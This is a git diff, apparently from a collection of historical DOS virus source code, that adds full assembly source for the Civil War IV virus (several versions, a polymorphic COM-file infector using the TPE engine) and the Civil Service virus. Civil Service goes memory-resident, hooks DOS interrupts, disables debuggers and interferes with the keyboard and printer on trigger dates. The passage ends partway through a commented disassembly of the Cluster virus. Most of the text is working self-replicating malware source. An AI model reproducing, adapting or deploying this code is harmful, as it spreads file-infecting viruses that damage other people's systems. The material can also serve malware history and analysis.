+Begin: call virus ; calculate delta offset + +Virus: pop bp + sub bp,offset virus + + mov dx,0fe00h ; DTA instellen + mov ah,1ah + int 21h + +Restore_begin: call rnd_init ; init random generator + mov di,0100h + lea si,ds:[buffer+bp] + mov cx,06h + rep movsb + +First: lea dx,[com_mask+bp] ;get first COM file + mov ah,04eh + xor cx,cx + int 21h + +Open_file: mov ax,03d02h ;open for READ/WRITE + mov dx,0fe1eh + int 21h + mov [handle+bp],ax + xchg ax,bx + +Read_date: mov ax,05700h ;store date/time for later + int 21h ;use + mov [date+bp],dx + mov [time+bp],cx + +Check_infect: mov bx,[handle+bp] ;check if initials present in + mov ah,03fh ;file + mov cx,06h + lea dx,[buffer+bp] + int 21h + + mov al,byte ptr [buffer+bp]+3 ;Compare initials + mov ah,byte ptr [buffer+bp]+4 + cmp ax,[initials+bp] + jne infect_file ;if initials not present + ;start infecting file + +Close_file: mov bx,[handle+bp] ;close file + mov ah,3eh + int 21h + +Next_file: mov ah,4fh ;get next COM file + int 21h ;in directorie + jnb open_file + jmp exit + +Infect_file: mov ax,word ptr [cs:0fe1ah] ;get lenght of file + sub ax,03h + mov [lenght+bp],ax + mov ax,04200h ;goto begin of file + call move_pointer + +Write_jump: mov ah,40h ;Write JUMP intruction + mov cx,01h + lea dx,[jump+bp] + int 21h + + mov ah,40h ;Write JUMP offset + mov cx,02h + lea dx,[lenght+bp] + int 21h + + mov ah,40 ;Write initials to check + mov cx,02h ;for infection later + lea dx,[initials+bp] + int 21h + + mov ax,4202h ; move to end of file + call move_pointer ; for infection + +;***************************************************************************** +; T P E * +;***************************************************************************** + +Encrypt: push bp ; BP = delta offset + ; push delta offset on stack + ; for later use. + + mov ax,cs ; Calculate worksegment + add ax,01000h + mov es,ax ; ES point to decrypt virus + + lea dx,[begin+bp] ; DS:DX begin encryption + + mov cx,len ; virus lenght + + mov bp,[lenght+bp] ; decryption starts at this + add bp,103h ; point + + xor si,si ; distance between decryptor + ; and encrypted code is 0 bytes + + call rnd_get ; AX = random value + call crypt ; encrypt virus + + pop bp ; BP = delta offset + ; get delta offset of stack + +;****************************************************************************** +; T P E - E N D * +;****************************************************************************** + +Write_virus: mov bx,[handle+bp] + mov ah,40h + int 21h + +Restore_date: mov ax,05701h + mov bx,[handle+bp] + mov cx,[time+bp] + mov dx,[date+bp] + int 21h + +Exit: mov bx,0100h ; jump to start program + jmp bx + +;---------------------------------------------------------------------------- + +move_pointer: mov bx,[handle+bp] + xor cx,cx + xor dx,dx + int 21h + ret + +;---------------------------------------------------------------------------- +v_name db "Civil War IV, (c) 1993 " +com_mask db "*.com",0 +handle dw ? +date dw ? +time dw ? +buffer db 090h,0cdh,020h,044h,048h,00h +initials dw 4844h +lenght dw ? +jump db 0e9h,0 +message db "For all i'v seen has changed my mind" + db "But still the wars go on as the years go by" + db "With no love of God or human rights" + db "'Cause all these dreams are swept aside" + db "By bloody hands of the hypnotized" + db "Who carry the cross of homicide" + db "And history bears the scars of our Civil Wars." +writer db "[ DH / TridenT ]",00 + + end dummy diff --git a/c/Civil_4b.asm b/c/Civil_4b.asm new file mode 100755 index 0000000..b3da73c --- /dev/null +++ b/c/Civil_4b.asm @@ -0,0 +1,196 @@ +;**************************************************************************** +;* Civil War IV v1.1 (minor bugfix version) * +;* * +;* Assembled with Tasm 2.5 * +;* * +;* (c) 08-01-93 Dark Helmet, The Netherlands. * +;* The author takes no responsibilty for any damages caused by the virus * +;* * +;* This is a example virus with the TPE engine to teach you how to use * +;* the TPE engine. * +;* * +;*--------------------------------------------------------------------------* +;* * +;* Notes: * +;* * +;* This virus is NOT dedicated to Sara Gordon, but to all the innocent * +;* people who are killed in Yugoslavia. * +;* * +;* The text in the virus is taken from the song Civil War (hence the name) * +;* by Guns and Roses, Use Your Illusion II, we hope they don't mind it. * +;* * +;* The first name for the virus was NAVIGATOR II, because the virus is * +;* based on the NAVIGATOR virus (also written by me, a while back), but * +;* since I decided to put the songtext in it I renamed it to Civil War IV * +;* * +;* You need the TPE 1.3 engine to link this program. * * +;* * +;**************************************************************************** + + .model tiny + .radix 16 + .code + + extrn rnd_init:near + extrn rnd_get:near + extrn crypt:near + extrn tpe_top:near + + org 100h + +len equ offset tpe_top - begin + +Dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h + +Begin: call virus ; calculate delta offset + +Virus: pop bp + sub bp,offset virus + + mov dx,0fe00h ; DTA instellen + mov ah,1ah + int 21h + +Restore_begin: call rnd_init ; init random generator + mov di,0100h + lea si,ds:[buffer+bp] + mov cx,06h + rep movsb + +First: lea dx,[com_mask+bp] ;get first COM file + mov ah,04eh + xor cx,cx + int 21h + +Open_file: mov ax,03d02h ;open for READ/WRITE + mov dx,0fe1eh + int 21h + mov [handle+bp],ax + xchg ax,bx + +Read_date: mov ax,05700h ;store date/time for later + int 21h ;use + mov [date+bp],dx + mov [time+bp],cx + +Check_infect: mov bx,[handle+bp] ;check if initials present in + mov ah,03fh ;file + mov cx,06h + lea dx,[buffer+bp] + int 21h + + mov al,byte ptr [buffer+bp]+3 ;Compare initials + mov ah,byte ptr [buffer+bp]+4 + cmp ax,[initials+bp] + jne infect_file ;if initials not present + ;start infecting file + +Close_file: mov bx,[handle+bp] ;close file + mov ah,3eh + int 21h + +Next_file: mov ah,4fh ;get next COM file + int 21h ;in directorie + jnb open_file + jmp exit + +Infect_file: mov ax,word ptr [cs:0fe1ah] ;get lenght of file + sub ax,03h + mov [lenght+bp],ax + mov ax,04200h ;goto begin of file + call move_pointer + +Write_jump: mov ah,40h ;Write JUMP intruction + mov cx,01h + lea dx,[jump+bp] + int 21h + + mov ah,40h ;Write JUMP offset + mov cx,02h + lea dx,[lenght+bp] + int 21h + + mov ah,40 ;Write initials to check + mov cx,02h ;for infection later + lea dx,[initials+bp] + int 21h + + mov ax,4202h ; move to end of file + call move_pointer ; for infection + +;***************************************************************************** +; T P E * +;***************************************************************************** + +Encrypt: push bp ; BP = delta offset + ; push delta offset on stack + ; for later use. + + mov ax,cs ; Calculate worksegment + add ax,01000h + mov es,ax ; ES point to decrypt virus + + lea dx,[begin+bp] ; DS:DX begin encryption + + mov cx,len ; virus lenght + + mov bp,[lenght+bp] ; decryption starts at this + add bp,103h ; point + + xor si,si ; distance between decryptor + ; and encrypted code is 0 bytes + + call rnd_get ; AX = random value + call crypt ; encrypt virus + + pop bp ; BP = delta offset + ; get delta offset of stack + +;****************************************************************************** +; T P E - E N D * +;****************************************************************************** + +Write_virus: mov bx,[handle+bp] + mov ah,40h + int 21h + +Restore_date: mov ax,05701h + mov bx,[handle+bp] + mov cx,[time+bp] + mov dx,[date+bp] + int 21h + +Exit: mov ax,cs + mov ds,ax + mov es,ax + mov bx,0100h ; jump to start program + jmp bx + +;---------------------------------------------------------------------------- + +move_pointer: mov bx,[handle+bp] + xor cx,cx + xor dx,dx + int 21h + ret + +;---------------------------------------------------------------------------- +v_name db "Civil War IV v1.1, (c) Jan '93 " +com_mask db "*.com",0 +handle dw ? +date dw ? +time dw ? +buffer db 090h,0cdh,020h,044h,048h,00h +initials dw 4844h +lenght dw ? +jump db 0e9h,0 +message db "For all i've seen has changed my mind" + db "But still the wars go on as the years go by" + db "With no love of God or human rights" + db "'Cause all these dreams are swept aside" + db "By bloody hands of the hypnotized" + db "Who carry the cross of homicide" + db "And history bears the scars of our Civil Wars." +writer db "[ DH / TridenT ]",00 + + end dummy diff --git a/c/Civil_4c.asm b/c/Civil_4c.asm new file mode 100755 index 0000000..62c1efa --- /dev/null +++ b/c/Civil_4c.asm @@ -0,0 +1,197 @@ +;**************************************************************************** +;* Civil War IV v1.2 * +;* * +;* Assembled with Tasm 2.5 * +;* * +;* (c) Jan '93 by Dark Helmet, The Netherlands. * +;* The author takes no responsibilty for any damages caused by the virus * +;* * +;* This is a example virus with the TPE engine for teaching you how to * +;* use the TPE engine. * +;* * +;*--------------------------------------------------------------------------* +;* * +;* Notes: * +;* * +;* This virus is NOT dedicated to Sara Gordon, but to all the innocent * +;* people who are killed in Yugoslavia. * +;* * +;* The text in the virus is taken from the song Civil War (hence the name) * +;* by Guns and Roses, Use Your Illusion II, we hope they don't mind it. * +;* * +;* The first name for the virus was NAVIGATOR II, because the virus is * +;* based on the NAVIGATOR virus (also written by me, a while back), but * +;* since I decided to put the songtext in it I renamed it to Civil War IV * +;* * +;* You need the TPE 1.3 engine to link this program. * * +;* * +;**************************************************************************** + + .model tiny + .radix 16 + .code + + extrn rnd_init:near + extrn rnd_get:near + extrn crypt:near + extrn tpe_top:near + + org 100h + +len equ offset tpe_top - begin + +Dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h + +Begin: call virus ; calculate delta offset + +Virus: pop bp + sub bp,offset virus + + mov dx,0fe00h ; DTA instellen + mov ah,1ah + int 21h + +Restore_begin: call rnd_init ; init random generator + mov di,0100h + lea si,ds:[buffer+bp] + mov cx,06h + rep movsb + +First: lea dx,[com_mask+bp] ;get first COM file + mov ah,04eh + xor cx,cx + int 21h + +Open_file: call rnd_get + mov ax,03d02h ;open for READ/WRITE + mov dx,0fe1eh + int 21h + mov [handle+bp],ax + xchg ax,bx + +Read_date: mov ax,05700h ;store date/time for later + int 21h ;use + mov [date+bp],dx + mov [time+bp],cx + +Check_infect: mov bx,[handle+bp] ;check if initials present in + mov ah,03fh ;file + mov cx,06h + lea dx,[buffer+bp] + int 21h + + mov al,byte ptr [buffer+bp]+3 ;Compare initials + mov ah,byte ptr [buffer+bp]+4 + cmp ax,[initials+bp] + jne infect_file ;if initials not present + ;start infecting file + +Close_file: mov bx,[handle+bp] ;close file + mov ah,3eh + int 21h + +Next_file: mov ah,4fh ;get next COM file + int 21h ;in directorie + jnb open_file + jmp exit + +Infect_file: mov ax,word ptr [cs:0fe1ah] ;get lenght of file + sub ax,03h + mov [lenght+bp],ax + mov ax,04200h ;goto begin of file + call move_pointer + +Write_jump: mov ah,40h ;Write JUMP intruction + mov cx,01h + lea dx,[jump+bp] + int 21h + + mov ah,40h ;Write JUMP offset + mov cx,02h + lea dx,[lenght+bp] + int 21h + + mov ah,40 ;Write initials to check + mov cx,02h ;for infection later + lea dx,[initials+bp] + int 21h + + mov ax,4202h ; move to end of file + call move_pointer ; for infection + +;***************************************************************************** +; T P E * +;***************************************************************************** + +Encrypt: push bp ; BP = delta offset + ; push delta offset on stack + ; for later use. + + mov ax,cs ; Calculate worksegment + add ax,01000h + mov es,ax ; ES point to decrypt virus + + lea dx,[begin+bp] ; DS:DX begin encryption + + mov cx,len ; virus lenght + + mov bp,[lenght+bp] ; decryption starts at this + add bp,103h ; point + + xor si,si ; distance between decryptor + ; and encrypted code is 0 bytes + + call rnd_get ; AX = random value + call crypt ; encrypt virus + + pop bp ; BP = delta offset + ; get delta offset of stack + +;****************************************************************************** +; T P E - E N D * +;****************************************************************************** + +Write_virus: mov bx,[handle+bp] + mov ah,40h + int 21h + +Restore_date: mov ax,05701h + mov bx,[handle+bp] + mov cx,[time+bp] + mov dx,[date+bp] + int 21h + +Exit: mov ax,cs + mov ds,ax + mov es,ax + mov bx,0100h ; jump to start program + jmp bx + +;---------------------------------------------------------------------------- + +move_pointer: mov bx,[handle+bp] + xor cx,cx + xor dx,dx + int 21h + ret + +;---------------------------------------------------------------------------- +v_name db "Civil War IV v1.2, (c) Jan '93 " +com_mask db "*.com",0 +handle dw ? +date dw ? +time dw ? +buffer db 090h,0cdh,020h,044h,048h,00h +initials dw 4844h +lenght dw ? +jump db 0e9h,0 +message db "For all i've seen has changed my mind" + db "But still the wars go on as the years go by" + db "With no love of God or human rights" + db "'Cause all these dreams are swept aside" + db "By bloody hands of the hypnotized" + db "Who carry the cross of homicide" + db "And history bears the scars of our Civil Wars." +writer db "[ DH / TridenT ]",00 + + end dummy diff --git a/c/Civil_4d.asm b/c/Civil_4d.asm new file mode 100755 index 0000000..4318c99 --- /dev/null +++ b/c/Civil_4d.asm @@ -0,0 +1,201 @@ +;**************************************************************************** +;* Civil War IV v1.3 * +;* * +;* Assembled with Tasm 2.5 * +;* * +;* (c) Jan '93 by Dark Helmet, The Netherlands. * +;* The author takes no responsibilty for any damages caused by the virus * +;* * +;* This is a example virus with the TPE engine for teaching you how to * +;* use the TPE engine. * +;* * +;*--------------------------------------------------------------------------* +;* * +;* Notes: * +;* * +;* This virus is NOT dedicated to Sara Gordon, but to all the innocent * +;* people who are killed in Yugoslavia. * +;* * +;* The text in the virus is taken from the song Civil War (hence the name) * +;* by Guns and Roses, Use Your Illusion II, we hope they don't mind it. * +;* * +;* The first name for the virus was NAVIGATOR II, because the virus is * +;* based on the NAVIGATOR virus (also written by me, a while back), but * +;* since I decided to put the songtext in it I renamed it to Civil War IV * +;* * +;* You need the TPE 1.3 engine to link this program. * * +;* * +;**************************************************************************** + + .model tiny + .radix 16 + .code + + extrn rnd_init:near + extrn rnd_get:near + extrn crypt:near + extrn tpe_top:near + + org 100h + +len equ offset tpe_top - begin + +Dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h + +Begin: call virus ; calculate delta offset + +Virus: pop bp + sub bp,offset virus + + mov dx,0fe00h ; DTA instellen + mov ah,1ah + int 21h + +Restore_begin: call rnd_init ; init random generator + mov di,0100h + lea si,ds:[buffer+bp] + mov cx,06h + rep movsb + +First: lea dx,[com_mask+bp] ;get first COM file + mov ah,04eh + xor cx,cx + int 21h + +Open_file: call rnd_get + mov ax,03d02h ;open for READ/WRITE + mov dx,0fe1eh + int 21h + mov [handle+bp],ax + xchg ax,bx + +Read_date: mov ax,05700h ;store date/time for later + int 21h ;use + mov [date+bp],dx + mov [time+bp],cx + +Check_infect: mov bx,[handle+bp] ;check if initials present in + mov ah,03fh ;file + mov cx,06h + lea dx,[buffer+bp] + int 21h + + mov al,byte ptr [buffer+bp]+3 ;Compare initials + mov ah,byte ptr [buffer+bp]+4 + cmp ax,[initials+bp] + jne infect_file ;if initials not present + ;start infecting file + +Close_file: mov bx,[handle+bp] ;close file + mov ah,3eh + int 21h + +Next_file: mov ah,4fh ;get next COM file + int 21h ;in directorie + jnb open_file + jmp exit + +Infect_file: mov ax,word ptr [cs:0fe1ah] ;get lenght of file + sub ax,03h + mov [lenght+bp],ax + mov ax,04200h ;goto begin of file + call move_pointer + +Write_jump: mov ah,40h ;Write JUMP intruction + mov cx,01h + lea dx,[jump+bp] + int 21h + + mov ah,40h ;Write JUMP offset + mov cx,02h + lea dx,[lenght+bp] + int 21h + + mov ah,40 ;Write initials to check + mov cx,02h ;for infection later + lea dx,[initials+bp] + int 21h + + mov ax,4202h ; move to end of file + call move_pointer ; for infection + +;***************************************************************************** +; T P E * +;***************************************************************************** + +Encrypt: push bp ; BP = delta offset + ; push delta offset on stack + ; for later use. + + mov ax,cs ; Calculate worksegment + add ax,01000h + mov es,ax ; ES point to decrypt virus + + lea dx,[begin+bp] ; DS:DX begin encryption + + mov cx,len ; virus lenght + + mov bp,[lenght+bp] ; decryption starts at this + add bp,103h ; point + + xor si,si ; distance between decryptor + ; and encrypted code is 0 bytes + + call rnd_get ; AX = random value + call crypt ; encrypt virus + + pop bp ; BP = delta offset + ; get delta offset of stack + +;****************************************************************************** +; T P E - E N D * +;****************************************************************************** + +Write_virus: mov bx,[handle+bp] + mov ah,40h + int 21h + +Restore_date: mov ax,05701h + mov bx,[handle+bp] + mov cx,[time+bp] + mov dx,[date+bp] + int 21h + + mov bx,[handle+bp] ; close file + mov ah,3eh + int 21h + +Exit: mov ax,cs ; restore registers + mov ds,ax + mov es,ax + mov bx,0100h ; jump to start program + jmp bx + +;---------------------------------------------------------------------------- + +move_pointer: mov bx,[handle+bp] + xor cx,cx + xor dx,dx + int 21h + ret + +;---------------------------------------------------------------------------- +v_name db "Civil War IV v1.3, (c) Jan '93 " +com_mask db "*.com",0 +handle dw ? +date dw ? +time dw ? +buffer db 090h,0cdh,020h,044h,048h,00h +initials dw 4844h +lenght dw ? +jump db 0e9h,0 +message db "For all i've seen has changed my mind" + db "But still the wars go on as the years go by" + db "With no love of God or human rights" + db "'Cause all these dreams are swept aside" + db "By bloody hands of the hypnotized" + db "Who carry the cross of homicide" + db "And history bears the scars of our Civil Wars." +writer db "[ DH / TridenT ]",00 + + end dummy diff --git a/c/Civilser.asm b/c/Civilser.asm new file mode 100755 index 0000000..407d703 --- /dev/null +++ b/c/Civilser.asm @@ -0,0 +1,569 @@ +; Civil Service Virus by Marvin Giskard +; Turbo Assember version 2 + +Exec equ 4B00h +OpenFile equ 3D02h +ReadFile equ 3Fh +WriteFile equ 40h +CloseFile equ 3Eh +EXESign equ 5A4Dh +SeekTop equ 4200h +SeekEnd equ 4202h +GetAttr equ 4300h +SetAttr equ 4301h +GetDT equ 5700h +SetDT equ 5701h +MinSize equ 4h +MaxSize equ 0FBF0h +GetDate equ 2Bh +FileID equ 2206h +MemID equ 4246h ; 'FB' + +.MODEL SMALL +.CODE +ORG 0100h + +Start: + XOR AX, AX + MOV DS, AX + CMP WORD PTR DS:01ACh, MemID + JNE Instl2 + CMP WORD PTR DS:01AEh, FileID + JE NoInstl2 + +Instl2: + CALL InstallInMem + +NoInstl2: + PUSH CS + PUSH CS + POP DS + POP ES + MOV DX, OFFSET FileName + MOV AX, 4B22h + INT 21h + INT 20h + +FileName: DB 'TEST.COM',0 + +AddCode: + JMP OverData + + ; Addcode's data + +Buf: DB 0, 0 ; Miscellaneous Buf +JumpCode: DB 0E9h, 00h, 00h ; Code to be placed at front of file +FSize: DW 0 ; File size +Attr: DB 0 ; Attr of file being infected +FDateTime: DD 0 ; Time and date of file being infected +Generation: DW 0 ; Generation counter +Infected: DW 0 ; Number of files infected +Old24Handler: DD 0 ; Old INT 24h handler +Acts: DB 0 ; Flag to stop reentry +Path: DD 0 + +OverData: + MOV WORD PTR DS:0100h, 0000h + MOV BYTE PTR DS:0102h, 00h + + ; Check if handler already installed by examining 2 words in vector + ; table entry of INT 6Bh + + XOR AX, AX + MOV DS, AX + CMP WORD PTR DS:01ACh, MemID + JNE Instl + CMP WORD PTR DS:01AEh, FileID + JE AlreadyInstalled + +Instl: + CALL InstallInMem + JMP ALreadyInstalled + +InstallInMem: + MOV WORD PTR DS:01ACh, MemID + MOV WORD PTR DS:01AEh, FileID + + PUSH CS + POP DS + + ; Get INT 21h handler in ES:BX. + + MOV AX, 3521h + INT 21h +DoOldOfs: + MOV SI, OFFSET DoOld+1 + MOV [SI], BX + MOV [SI+2], ES + PUSH ES + PUSH BX + POP DX + POP DS + MOV AX, 256Dh + INT 21h + + ; This label is here so that the infect part will be able to calculate + ; source offset of Int21Handler and then place it in here before writing + ; it to disk. The OFFSET AddCode will be replaced by the right number. + +Source: + MOV SI, OFFSET AddCode + + ; Destination e.g. Where program will be placed are now calculated by + ; taking the amount of memory in $0040:$0013. Multiply by 16 to get + ; segment of memory end and then subract amount of blocks needed. + ; This is where routine will be placed. + + MOV AX, 0040h + MOV DS, AX + MOV AX, WORD PTR DS:0013h + MOV CL, 6 + SHL AX, CL + + ; Set dest. segment 2048 pages (32 K) below top of memory. + + SUB AX, 2048 + MOV ES, AX + XOR DI, DI + MOV CX, OFFSET AddCodeEnd - OFFSET AddCode + PUSH CS + POP DS + REP MOVSB + + ; Set INT 21h Handler to point to our routine + + MOV AX, 2521h + PUSH ES + POP DS + MOV DX, OFFSET Int21Handler - OFFSET AddCode + INT 21h + + MOV BYTE PTR DS:[OFFSET Acts-OFFSET AddCode], 0 + + RET + +AlreadyInstalled: + + Call DisTrace + + ; Code to jump back to 0100h + + PUSH CS + PUSH CS + POP DS + POP ES + MOV AX, 0100h + JMP AX + + ; Disable tracing and breakpoint setting for debuggers. + +DisTrace: + MOV AX, 0F000h + MOV DS, AX + MOV DX, 0FFF0h + MOV AX, 2501h + INT 21h + MOV AX, 2503h + INT 21h + RET + +Int21Handler: + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH ES + PUSH DS + + ; Install devious act if seed is right + + MOV AH, 2Ah + INT 6Dh + CMP CX, 1991 + JB Act + CMP DL, 22 + JNE Timer + DB 0EAh, 0F0h, 0FFh, 00h, 0F0h + +Timer: + MOV AH, 25h + CMP DL, 29 + JE Inst1 + CMP DL, 1 + JE Inst2 + CMP DL, 10 + JE Inst3 + CMP DL, 16 + JE Inst4 + JMP Act +Inst1: + MOV AL, 13h + JMP SetVec +Inst2: + MOV AL, 16h + JMP SetVec +Inst3: + MOV AL, 0Dh + JMP SetVec +Inst4: + MOV AL, 10h + +SetVec: + PUSH CS + POP DS + MOV DX, OFFSET Int24Handler - OFFSET AddCode + INT 6Dh + +Act: + MOV AX, 0040h + MOV DS, AX + MOV AX, WORD PTR DS:006Eh + + PUSH CS + POP DS + MOV BH, DS:[OFFSET Acts - OFFSET AddCode] + CMP BH, 3 + JE NoAct + + CMP AX, 22 + JE NoAct + + MOV BYTE PTR [SI], 3 + MOV AX, 3509h + INT 21h + PUSH ES + PUSH BX + POP DX + POP DS + MOV AX, 256Ah + INT 21h + PUSH CS + POP DS + MOV DX, OFFSET Int9Handler - OFFSET AddCode + MOV AX, 2509h + INT 21h + + MOV AX, 3517h + INT 21h + PUSH ES + PUSH BX + POP DX + POP DS + MOV AX, 256Ch + INT 21h + PUSH CS + POP DS + MOV DX, OFFSET Int17Handler - OFFSET AddCode + MOV AX, 2517h + INT 21h + +NoAct: + + POP DS + POP ES + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX + + CMP AH, 4Bh + JE Infect +DoOld: + ; This next bytes represent a JMP 0000h:0000h. The 0's will be replaced + ; by the address of the old 21 handler. + DB 0EAh + DD 0 + +DoOldPop: + POP ES + POP DS + POP BP + POP DI + POP SI + POP DX + POP CX + POP BX + POP AX + JMP DoOld + +CloseQuit: + + MOV AX, 2524h + MOV SI, OFFSET Old24Handler-OFFSET AddCode + MOV DX, CS:[SI] + MOV DS, CS:[SI+2] + INT 21h + + PUSH CS + POP DS + MOV SI, OFFSET FDateTime-OFFSET AddCode + MOV CX, DS:[SI] + MOV DX, DS:[SI+2] + MOV AX, SetDT + INT 21h + + MOV AH, CloseFile + INT 21h + + MOV AX, SetAttr + MOV CL, DS:[OFFSET Attr - OFFSET AddCode] + XOR CH, CH + MOV SI, OFFSET Path-OFFSET AddCode + MOV DX, DS:[SI] + MOV DS, DS:[SI+2] + + INT 21h + + JMP DoOldPop + +Infect: + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + PUSH BP + PUSH DS + PUSH ES + + ; Get file's attr + + MOV AX, GetAttr + INT 21h + JC CloseQuit + MOV CS:[OFFSET Attr-OFFSET AddCode], CL + + MOV SI, OFFSET Path-OFFSET AddCode + MOV CS:[SI], DX + MOV CS:[SI+2], DS + + ; Get/Set INT 24h handler + + MOV AX, 3524h + INT 21h + MOV SI, OFFSET Old24Handler-OFFSET AddCode + MOV CS:[SI], BX + MOV CS:[SI+2], ES + MOV AX, 2524h + PUSH CS + POP DS + MOV DX, OFFSET Int24Handler-OFFSET AddCode + INT 21h + + ; Set new attribute + + MOV SI, OFFSET Path-OFFSET AddCode + MOV DX, CS:[SI] + MOV DS, CS:[SI+2] + + MOV AX, SetAttr + MOV CX, 0020h + INT 21h + JC CloseQuitFoot + + MOV AX, OpenFile + INT 21h + JC CloseQuitFoot + MOV BX, AX + + ; Get file's time and date and store + + MOV AX, GetDT + INT 21h + JC CloseQuitFoot + PUSH CS + POP DS + MOV SI, OFFSET FDateTime-OFFSET AddCode + MOV DS:[SI], CX + MOV DS:[SI+2], DX + + ; Read first two bytes of file + + MOV AH, ReadFile + MOV CX, 2 + MOV DX, OFFSET OverData+4-OFFSET AddCode + INT 21h + JC CloseQuitFoot + + ; Check if fisrt two bytes identify the file as an EXE file + ; If so, then don't infect the file + + CMP DS:[OFFSET OverData+4-OFFSET AddCode], EXESign + JE CloseQuitFoot + + ; Read next byte + + MOV AH, ReadFile + MOV CX, 1 + MOV DX, OFFSET OverData+10-OFFSET AddCode + INT 21h + JC CloseQuitFoot + + ; Get file size + + MOV AX, SeekEnd + XOR CX, CX + XOR DX, DX + INT 21h + JC CloseQuitFoot + + ; Save filesize and calculate jump offset + + CMP DX, 0 + JG CloseQuitFoot + CMP AX, MinSize + JB CloseQuitFoot + CMP AX, MaxSize + JA CloseQuitFoot + MOV DS:[OFFSET FSize-OFFSET AddCode], AX + MOV CX, AX + SUB AX, 03h + MOV DS:[OFFSET JumpCode+1-OFFSET AddCode], AX + + ; Calculate and store source + + ADD CX, 0100h + MOV [OFFSET Source+1-OFFSET AddCode], CX + + ADD CX, OFFSET DoOld-OFFSET AddCode + MOV [OFFSET DoOldOfs-OFFSET AddCode+1], CX + + JMP OverFoot1 + +CloseQuitFoot: + JMP CloseQuit + +OverFoot1: + ; Read last 2 bytes to see if it is already infected + + MOV AX, SeekTop + XOR CX, CX + MOV DX, [OFFSET FSize-OFFSET AddCode] + SUB DX, 2 + INT 21h + + MOV AH, ReadFile + MOV CX, 2 + MOV DX, OFFSET Buf-OFFSET AddCode + INT 21h + + CMP [OFFSET Buf-OFFSET AddCode], FileID + JE CloseQuitFoot + + ; Prepare to write new jump + + MOV AX, SeekTop + XOR CX, CX + XOR DX, DX + INT 21h + + ; Write new jump + + MOV AH, WriteFile + MOV CX, 3 + MOV DX, OFFSET JumpCode-OFFSET AddCode + INT 21h + + ; Write addcode + ; Code to restore first three bytes is at start of addcode + ; Int21 handler is also included + ; Generation counter is included in data + ; ID is at the end of addcode + + MOV AX, SeekEnd + XOR CX, CX + XOR DX, DX + INT 21h + + ; Increase generation counter before writing it to the new file + + INC WORD PTR [OFFSET Generation - OFFSET AddCode] + + ; Set files infected to 0, for child hasn't infected anyone. + + MOV SI, OFFSET Infected - OFFSET AddCode + PUSH WORD PTR [SI] + MOV WORD PTR [SI], 0 + + MOV AH, WriteFile + MOV DX, OFFSET AddCode - OFFSET AddCode ; 0000 + MOV CX, OFFSET AddCodeEnd - OFFSET AddCode + INT 21h + + ; Decrease counter again, cause all his children should have the same + ; generation count + + DEC WORD PTR [OFFSET Generation - OFFSET AddCode] + + ; Pop number of files infected and incread + + POP AX + INC AX + MOV WORD PTR [OFFSET Infected - OFFSET AddCode], AX + + JMP CloseQuit + +Int24Handler: + XOR AL, AL + IRET + +Int9Handler: + PUSH AX + PUSH CX + PUSH DS + + MOV AX, 0040h + MOV DS, AX + MOV AH, BYTE PTR DS:006Ch + CMP AH, 18 + JA NoChange + MOV CL, 4 + SHL AH, CL + SHR AH, CL + MOV BYTE PTR DS:0017h, AH + +NoChange: + POP DS + POP CX + POP AX + INT 6Ah + IRET + +Int17Handler: + CMP AH, 00h + JNE DoOld17 + PUSH DS + PUSH AX + PUSH BX + MOV BX, 0040h + MOV DS, BX + MOV BH, BYTE PTR DS:006Ch + SHR BH, 1 + SHR BH, 1 + CMP BH, 22h + JE Ignore17 + POP BX + POP AX + POP DS + +DoOld17: + INT 6Ch + IRET + +Ignore17: + POP BX + POP AX + POP DS + IRET + + DW FileID + +AddCodeEnd: + +END Start + diff --git a/c/Clust.asm b/c/Clust.asm new file mode 100755 index 0000000..051dfb2 --- /dev/null +++ b/c/Clust.asm @@ -0,0 +1,259 @@ +;The Cluster virus is an interesting experiment which works, almost. +;It it what has come to be known as an 'intended' virus, although a +;a very slickly done one. +;Credited to the TridenT virus programming group, Cluster uses some of +;the ideas of the Bulgarian virus known as The Rat. The Rat was deemed +;tricky because it looked for "00" empty space below the header in +;an EXEfile - if it found enough room for itself, it wrote itself out +;to the empty space or "air" in the file. This hid the virus in the +;file, but added no change in file size. This is a nice theme - one +;made famous by the ZeroHunt virus which first did the same with +;.COMfiles. In both cases, the viruses had to be picky about the +;files they infected, limiting their spread. +; +;Cluster is similar to The Rat. It will attempt to copy itself into +;the "air" in an EXEfile just below the file header, if there is +;enough room. The most common candidates for infection are standard +;MS/PC-DOS utility programs, like FIND or FC, among others. +; +;As is Cluster will go resident from the "germ" supplied with the +;newsletter. On copy, if the candidate .EXEfile has enough "00" +;air, Cluster will infect it. In other words, any .EXEfile +;written to will be inspected by Cluster. +; +;Because Cluster installs its own INT 13 disk hander, it then can +;intercept all attempts to open infected files for a quick look. +;For example, looking at a hex dump of a Cluster-infected .EXE, +;with Vern Berg's LIST, will show the files clean. Now, boot +;the system clean and look again. You'll see Cluster in the file's +;"00" space - look for the funny "Zugu" signature. +; +;However, almost all files infected by Cluster under DOS 5.0 and 6.0 +;are mishandled in such way that they cannot execute properly except +;when the virus is not resident. Normally, what happens is Cluster +;will go resident and the system will hang. And this is what is +;meant by an 'intended' virus - Cluster is very infectious, but only +;infectious on a machine which is contaminated with the "germ" file +;supplied by TridenT. Although Cluster may behave better on other +;platforms, it's not viable on most of the systems rolling out +;of shops today. +; +;Additional notes and disassembly are all Black Wolf's. --Urnst Kouch +;Crypt Newsletter 17. +;------------------------------------------------------------------- +;This virus goes memory resident at the top of lower memory and hooks +;Int 13h. Whenever an EXE file header is written, it checks to see +;if there is a large field of 0's inside it (VERY common in EXE's) +;and, if so, will put itself inside it and change the exe marker bytes +;'MZ' to a jump to that code. In this way, it effectively converts the +;file to a COM file when it is run. After this it re-executes the EXE +;file. Because of a stealth handler on Int 13h function 2 (absolute +;disk read) the EXE file is read as it originally was (the handler +;zero's out the field in which it resides and restores the jump to +;'MZ'). Because of the way this virus works, it can only infect +;smaller EXE files. +; +; +;NOTE: +;Several commands are commented out and have the actual bytes entered +;next to them instead. This is because the compiler that Clust was +;originally compiled on used different translations than mine, and +;I wished to preserve the EXACT virus code. + +;Disinfection: Because of this virus' stealth routine, disinfection should +; be possible simply by Zipping or Arjing all EXE files on an +; infected disk, then rebooting from a clean disk and unarchiving +; the files. The original archiving MUST be done while the +; virus is active in memory. Also - after rebooting - make +; sure the program you use to 